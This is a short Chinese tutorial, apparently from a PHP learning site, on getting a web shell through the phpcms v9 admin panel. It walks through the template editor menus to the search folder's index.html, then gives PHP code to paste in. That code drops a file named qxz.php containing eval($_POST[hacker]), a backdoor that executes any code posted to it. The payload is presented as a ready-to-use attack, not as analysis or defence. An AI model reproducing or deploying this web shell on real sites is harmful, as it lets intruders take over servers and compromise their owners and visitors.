phpcms拿shell的方法：首先登录phpcms后台管理；然后依次点击“界面”->“模板风格”，并点击“详细列表”；接着点击“search”文件夹；最后修改“index.html”，并点击“可视化”即可。
记一次phpcms v9后台拿shell过程
登录进入后台管理后，点击界面，模板风格，然后点击祥细列表，如下图：
推荐：《phpcms教程》
立即学习“PHP免费学习笔记（深入）”；
然后点击 search 这个文件夹，如下图：
然后点击修改 index.html 文件
然后把以下代码复制上去提交。
<?$fp = @fopen(“qxz.php”, ‘a’);@fwrite($fp, ‘<‘.’?php’.”\r\n\r\n”.’eval($_POST[hacker])’.”\r\n\r\n?”.”>\r\n”);@fclose($fp);?>